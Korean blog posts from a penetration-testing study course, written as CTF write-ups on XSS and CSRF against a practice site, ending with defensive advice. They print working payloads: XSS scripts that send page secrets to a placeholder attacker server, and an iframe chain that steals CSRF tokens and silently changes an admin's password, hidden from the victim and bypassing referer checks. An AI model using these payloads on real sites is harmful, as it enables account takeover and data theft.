그리고 iframe을 이용하여 CSRF 토큰이 존재하는

Mypage에 접근을 해보겠습니다.

이제 iframe에 존재하는 CSRF 토큰을 찾아보겠습니다.

개발자 도구를 통해 CSRF 토큰을 찾았는데요.

hidden으로 감추어져 있었습니다. 다음은 document 객체를 이용하여

value 값까지 진입 해보겠습니다.

깔끔하게 찾았습니다. CSRF 토큰을 찾았으니 이것을

적용한 페이로드를 작성하면 되겠습니다.

<iframe src="CSRF 토큰이 존재하는 페이지" id="get_token" onload="bypass()"></iframe>

<script>
function bypass(){
	let token = document.getElementById('get_token').contentDocument.forms[0].csrf_token.value;
	alert(token);
}
</script>

일단 content 를 사용하기 위해 id를 지정해줍니다.

그리고 script를 작성하여 토큰을 가지고 오는지 테스트를 해보겠습니다.

자!! 토큰을 가져오게되었습니다. 이제 alert(token);

대신 사용할 코드를 작성해보겠습니다.

<iframe src="CSRF 토큰 페이지" id="get_token" onload="bypass()"style="display:none;"></iframe>

<form method="POST" action="회원수정완료 페이지" id="myForm">
	<input type="hidden" name="id" value=""/>
	<input type="hidden" name="info" value=""/>
	<input type="hidden" name="pw" value="123456"/>
	<input type="hidden" name="csrf_token" value="" id="token_input"/>
</form>

<script>
function bypass(){
	let token = document.getElementById('get_token').contentDocument.forms[0].csrf_token.value;
	
	document.getElementById('token_input').value=token;
	document.getElementById('myForm').submit();
	
}
</script>

iframe을 실행 -> onload [bypass 함수] -> bypass 함수에서

CSRF 토큰 가져오기 -> FROM에 token_input에 넣고 ->

myForm 에서 submit (실행)하게 되면

회원정보가 수정이 됩니다. 하지만 관리자가 알아챌수 있기

때문에 코드도 수정이 필요합니다.

.

<iframe src="CSRF 토큰 페이지" id="get_token" style="display:none;" onload="bypass()"></iframe>
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="회원수정완료 페이지" target="myFrame" id="myForm">
	<input type="hidden" name="id" value=""/>
	<input type="hidden" name="info" value=""/>
	<input type="hidden" name="pw" value="123456"/>
	<input type="hidden" name="csrf_token" value="" id="token_input"/>
</form>

<script>
function bypass(){
	let token = document.getElementById('get_token').contentDocument.forms[0].csrf_token.value;
	
	document.getElementById('token_input').value=token;
	document.getElementById('myForm').submit();
	
}
</script>

관리자에게 들키지 않게 Sandbox 추가하여 알림창도 뜨지 않게 했습니다.

관리자에게 들키지 않게 Sandbox 추가하여

알림창도 뜨지 않게 했습니다. 접속까지 한 모습입니다.

GET 방식은 안되... POST 방식으로 고쳐도 우회하고...

token 쓰니 토큰 까지 가져와서 쓰고 있었습니다.

또 하나의 대응방안으로 refererCheck 있습니다.

요청하는 곳이 어디인지 체크하는 것이죠... 만약

mypage_update.php 아닌 다른 페이지에서

비밀번호 변경 요청이 온다면 잘못된 페이지입니다.

라고 하면서 거부를 하는 것이죠.

다음 문제에서 한번 확인해봅시다.

<CSRF 4>

전에 문제들과 동일한 증상이며

GET_Admin 2 번과 같은 POST 방식 입니다.

2번과 동일하게 적용해봤지만 잘못된 요청이라고 뜨게 됩니다. 이유는

Referer 부분을 체크하여 mypage.php가

아닌 곳 은 잘못된 요청으로 보내게 됩니다.

이것도 방어 기법중 하나 인데 과연 이것도 우회가 가능할까여???

확인해보겠습니다.

먼저 repeater 기능을 이용하여 Referercheck 부분을 넘겨주고

Referer URL을 삭제하고 보내보겠습니다.

RefererURL을 삭제하고 보내보니 회원이 수정되었습니다....

아뿔사 이런일이.....

코드는 기존에서

<meta name="referrer" content="no-referrer">

추가하여 referrer 없이 보내봤습니다.

결국 회원정보가 수정이 되었습니다.

관리자에게 제가 수정 게시글을 보내봤습니다.

referrer 가 PASS가 되고 있어서 결국

관리자 계정이 해킹이 당했습니다.

이는 잘못된 예외처리라고 할수 있습니다.

여기서 예외 처리란 프로그램 실행 시 발생할 수 있는

예기치 못한 예외의 발생헤 대비한 코드를 작성하는 것인데

이는 예기치 못한 no - referrer 제대로된 검증이

이루어지지 않아 발생 한 것 입니다.

이와 같이 CSRF 토큰이나 referrer check 같은 곳에서도

우회가 가능하는 경우가 있습니다. 그럼 어떻게 막아야할까???

CSRF는 요청을 미리 예측이 가능하다는 점 에서 문제가

생기는 것 입니다. 그렇다면 요청을 미리

작성하지 못하게 만들면 되지 않을까 싶습니다.

EX) 비밀번호 변경 시 전 에 쓰던 비밀번호 입력하기

OR 로그인 시 재 인증 휴대폰 인증 OTP 인증 등...

재일 중요한 것은 XSS 관련 취약점을 먼저 제거 하는 것이

1순위라고 생각합니다.

모의해킹 취업반 스터디 9기 12주차 (2) CSRF

mister jeon — Wed, 7 Jan 2026 00:20:52 +0900

< 12주차 (2) >

이번에도 CSRF 공격으로 CTF 문제를 풀어보겠습니다.

< GET Admin2 >

역시 GET Admin2 에서도

본인만의 admin 계정을 탈취하고 flag를 얻는 것 입니다.

똑같은 아이디 test12 계정을 생성하고 테스트 해보겠습니다.

먼저 CSRF 공격전 XSS 취약점이 있는지 확인하겠습니다.

먼저 방식은 전 CTF 문제에서는 get 방식이지만 이번엔

post 방식으로 보내고 있습니다. 그리고 XSS 취약점이 있는지

확인하기 위해 테스트를 진행해봤는데

역시 게시글에 XSS 취약점이 있는 모습입니다.

먼저 게시글 수정을 통해 스크립트를 작성 후 적용해봤는데

회원정보가 수정되는 결과를 볼 수 있습니다.

심지어 제 계정으로 테스트한 결과 바뀌는 모습입니다.

아무리 POST 방식이라고 해도 우회 할수 있습니다.

CSRF 모든 요청을 공격을 할 수 있으며

POST 방식에는 조건으로 XSS 취약점이 있어야

사용을 할 수 있습니다. 이제 test12_admin에 적용해볼까요?

관리자 visit bot에 다음과 같이 적용해봤습니다. 문제는

중간에 회원정보 수정이 되기 때문에

알아차려서 관리자가 바꿨다는 모습입니다.

그래서 회원수정도 안보이게 처리를 해야합니다.

그래서 저는 iframe을 추가하여 스크립트를 iframe에서

작동하게 만들었고 회원이 수정되었습니다. 알람창이 안보이게

sandbox="allow=forms 같이 사용했습니다.

그래서 확인해보니 잘 적용되는 모습입니다.

다시 관리자봇에 테스트 해보겠습니다.

이번에는 관리자 모르는 것 같습니다. 로그인 해보겠습니다.

보시다시피 로그인에 성공하는 모습이고 flag도 획득한 모습입니다.

< GET Admin 3 >

마지막 GET Admin3 에서도 본인만의 admin 계정을 탈취하고

flag를 얻는 것 입니다. 똑같은 아이디 test12 계정을 생성하고

테스트 해보겠습니다. 먼저 CSRF 공격전 XSS 취약점이

있는지 확인하겠습니다.

XSS 취약점을 확인하기 위해 테스트를 진행한 결과 게시글에

XSS 취약점이 있는 모습입니다. 그리고

이번에는 회원수정을 했는데 CSRF 토큰이 있습니다.

CSRF 토큰이란???

해당 요청이 정상적인 사용자의 정상적인 절차에 의해

요청인지 아닌지를 구분하기 위해 세션별로

CSRF 토큰을 생성하여 세션에 저장하고,

사용자가 작업페이지를 요청할 때마다 hidden 값으로

클라이언트에게 토큰을 전달하고

해당 클라이언트의 데이터처리 요청 시 전달되는

CSRF 토큰값을 체크하여 요청의 유효성 검사를 진행합니다.

일단 기존 코드에 csrf_token에 넣고 바꿀 pw을 적어 보내기만 하면

될 것 같습니다.

<iframe src=/csrf_3/"csrf토큰이 존재하는 페이지" id="get_token" style="display:none;" onload="bypass()"></iframe>
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="csrf취약페이지" target="myFrame" id="myForm">
<input type="hidden" name="pw" value="123456"/>
<input type="hidden" name="csrf_token" value="" id="token"/>
</form>

<script>
function bypass() {
    var myIframe = document.getElementById('get_token');
    var dom = myIframe.contentDocument;
    var token = dom.getElementsByName('csrf_token')[0].value
    document.getElementById('token').value = token;
    document.getElementById('myForm').submit();
}
</script>

일단 제 계정을 테스트 했을 땐 적용이 되는 모습이며

관리자에도 적용해보니 csrf_token을 가져와서

우회하는 모습입니다.

결론 csrf_token이 있다고 다 막을 수는 없습니다.

만약 XSS 취약점이 있는 페이지가 있다고 했을 때

이를 이용하여 CSRF 토큰이 존재하는 페이지를

로드하여 토큰을 가져오게 될 수 있기 때문입니다.

그래서 XSS를 먼저 1순위로 방어해야 한다고 생각하며

개인정보 (비밀번호 변경) 서버의 영향이 가는 페이지는

CSRF 토큰이 아닌 2차 인증 및 재 인증 요구

사용자와 상호 처리 가능한 기법을 적용하여

위조된 요청이 차단될 수 있게 해야합니다.

모의해킹 취업반 스터디 9기 12주차 (1) CSRF

mister jeon — Wed, 7 Jan 2026 00:20:04 +0900

< 12주차 >

저번주에는 XSS중 Client Script에 대해 알아보았습니다.

이번 12주차에서는 CSRF 공격에 대해 알아보겠습니다.

CSRF (Cross site request forgery)

요청을 위조하는 공격 입니다.

CSRF으로 무엇을 하는가 ?

피해자가 공격자가 원하는 대로 서버에 요청을 보내게 됩니다.

그럼 XSS랑 비슷 하다고 생각합니다.

XSS 차이점

XSS 공격은 악성 스크립트가 클라이언트에서 실행되는 데 반해 ,

CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는

점이 다릅니다.

그래서 CSRF는 XSS와 함께 활용하면 훨씬 위험합니다.

(공격범위 확장)

예시로 CTF문제로 CSRF의 위험성을 좀 더 알아보겠습니다.

CTF 문제는 본인만의 admin 계정을 탈취하고 flag를 얻는 것 입니다.

즉 개인정보 Nothing here 부분에 flag를 얻어내면 되겠습니다.

admin 계정은 제가 계정을 생성시 _admin 계정도 같이 생성되는

방식의 CTF 문제 입니다. 저는 먼저 test12 라는 계정을 생성했습니다.

그럼 test12_admin이라는 계정이 생성이 됬겠죠?

CSRF 공격전 XSS 취약점이 있는지 확인하겠습니다.

확인해보니 게시판에 XSS 취약점 있습니다. 이제 CSRF 공격으로 해봅시다.

먼저 test12_admin 일반적으로 비밀번호를 테스트 해본결과

로그인이 되지 않다는 것 을 알수 있습니다.

하지만 제 계정을 통해 마이페이지 중 비밀번호 변경이 있었습니다.

확인하니 회원 수정까지 되더라고요. 그래서 butp suite으로 확인하니

GET 방식인데 CSRF 방지법인 CSRF 토큰을 사용하지 않더라고요.

그럼...mypage_update.php을 위조해서 test12_admin 에게

보내면 비밀번호가 바뀔지? 테스트 해보겠습니다.

제가 바꾼 게시글을 접속한 순간 버프에서도 mypage_update.php

을 위조되서 비번이 12345라고 수정되었다고 표기가 되었습니다.

실제로 확인해보니 바뀌었더라고요 . 그래서

test12_admin에도 적용해봅시다. 관리자 vist bot에

관리자 vist bot에 공격할 아이디 test12_admin을 하고 URL을

XSS가 적용된 게시글을 작성하고 Vist을 해보았습니다.

관리자가 xss 적용된 게시글에 접속을 했는데 확인해보겠습니다.

접속이 되었습니다.

마이페이지에 flag까지 얻을수 있었습니다.

이런식으로 CSRF 공격을 통해 관리자 페이지에

접속할 수 있는 위험한 공격기법이라는 것을 알 수 있었습니다.

모의해킹 취업반 스터디 9기 11주차 (ClientScript) XSS 응용 (3)

mister jeon — Wed, 7 Jan 2026 00:16:09 +0900

< 11주차 >

저번주에는 XSS (Cross site scriping)을 활용하여

공격 시나리오 중 상대의 쿠키 탈취를 실습을 진행했습니다.

다음 시나리오는 DOM 객체를 이용한 개인정보를 수집하는

방법에 대해 알아보겠습니다.

DOM은 무엇인가?

DOM은 Document Object Model의 약자로

Document는 문서는 Object는 객체로 번역됩니다.

즉 문서 객체 모델로 번역을 합니다. 문서는

<HTML> <body> 같은 html문서의 태그는

JavaScript가 이용할 수 있는 객체(object)로

만들면 그것을 문서 객체라고 합니다.

DOM의 구조

DOM은 트리형식의 자료구조를 가지고 있으며

이 것을 DOM tree 라고 합니다.

자세한 참고사항

https://inpa.tistory.com/entry/JS-%F0%9F%93%9A-DOM-%EB%AC%B8%EB%B2%95-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC

DOM(문서 객체 모델) 다루기 문법 총정리

브라우저 DOM 종류 브라우저는 HTML 문서를 로드한 후, 해당 문서에 대한 모델을 메모리에 생성한다. 이때 모델은 객체의 트리로 구성되는데, 이것을 DOM tree라 한다. 문서 노드(Document Node) 트리의

inpa.tistory.com

<실습1>

마이페이지에 있는 관리자의 중요 정보 flag를 탈취하는 미션입니다.

로그인 했을 때 마이페이지있는 flag here에 있는데

관리자로 방문하면 보이게 됩니다.

Mypage XSS가 일어나고 있다는데 확인해보죠.

아이디 정보로 보니 doldol -> TEST로 바뀌는 것을 보아 정말이네요.

증명까지는 할 수 있지만 이 것을 활용하여 flag를 얻어야 합니다.

쿠키 탈취는 해봤지만 flag는 없다네요.

document.getElementsByName('info')[0].placeholder;

에서 flag here...! 추출이 되는 것을 알게되었습니다.

하지만 flag here을 추출하기 위해서

var secret=document.getElementsByName('info')[0].placeholder;
console log(data); 이용하여 테스트를 진행했지만 추출되지 않았습니다.

이유는 HTM은 절차지향 언어로써 위에서 부터 차례대로 실행되는데

스크립트로 접근하는 HTML 요소가 스크립트가 아래 존재하면 정의되지 않아

오류가 생기게 됩니다. 그래서 이벤트 핸들러인 onload를 사용하여

웹 페이지가 로딩되었을 때 발생하는 함수로 이용하여 스크립트를

적용해보겠습니다.

<script>
document.addEventListener('DOMContentLoaded',function() { 
var secret=document.getElementsByName('info')[0].placeholder;
var i = new Image();i.src = "https://공격자서버?secret=+secret;
});
</script>

일단 DOMContentLoaded로 이용한 함수로 이용하여 flag_here

데이터를 얻겠습니다.

관리자가 방문할 URL 접속창에 적용해봤습니다.

잘 적용되어 플래그까지 얻어내는 모습입니다.

<Steal Info 1>

Steal INFO 문제입니다.

중요한 정보가든 페이지가 있고

실제로 중요한 정보는 권한이 없다고 합니다.

먼저 웹사이트에사 XSS 취약점이 있는지 확인해보겠습니다.

게시판에 XSS 취약점이 있습니다. 이것을 통해 4번째 사진에 있는

내 정보에 This is a Very Secret Info 정보를 가지고

오면 되지 않을까 싶습니다.

먼저 ifaram 을 이용하여 게시판에

This is a Very Secret Info 정보를 가진 페이지를 띄워 보겠습니다.

그리고 document로 접근하여 알아보겠습니다.

document.getElementsByClassName("card-text")[1].innerHTML

This is a Very Secret Info 정보를 찾아냈습니다.

이제 스크립트를 적용하겠습니다.

타겟을 지정해준다면 보다 편하게 이용할 수 있으며 content를 이용하면

This is a Very Secret Info 정보까지 바로 볼 수있습니다.

다음은 secretData에 Very Secret Info 정보넣어

alert 알림창이 뜨는지 테스트를 해봤습니다.

역시 알림창이 뜨지를 않습니다. 이유는 전 문제와 같은 방식으로

onload를 이용해야 됩니다.

<iframe src="CTF URL/scriptPrac/mypage.html" id="targetFrame" onload="myhack()"></iframe>
 
<script>
function myhack(){
var myFrame = document.getElementById('targetFrame');
var secretData = 
myFrame.contentDocument.getElementsByClassName("card-text")[1].innerHTML;
alert(secretData);
}
</script>

onload를 이용하여 myhack이라는 함수를 추가해주어

mypage.html이 로드가 다 되면 myhack 함수가 실행이 될겁니다

그럼 이제 알림창에 Very Secret Info 나오니 secretData에

공격자 서버로 연결하여 falg를 획득 해봅시다.

그리고 중요 정보가 있는 secret.php로 바꿔서 관리자에게 보내면

flag를 획득할 수 있습니다.

<Steal Info 2>

Steal Info 2 는 admin 게정의 마이페이지의 정보란에 flag가

숨겨져있습니다. 한번 찾아보겠습니다.

먼저 XSS 취약점을 체크 해보겠습니다.

확인결과 게시판에 XSS 취약점이 있습니다.

여기는 1번과 비슷한 과정을 해보겠습니다.

document.getElementsByName('info')[0].placeholder;

Noting.here. 여기에 있을 것 같으니 체크 해보겠습니다.

아마 기존 코드를 응용하면 될 것 같습니다.

ifaram이용하여 마이페이지를 로드한다음

ifaram이용하여 마이페이지를 로드하고 document 객체를 이용하여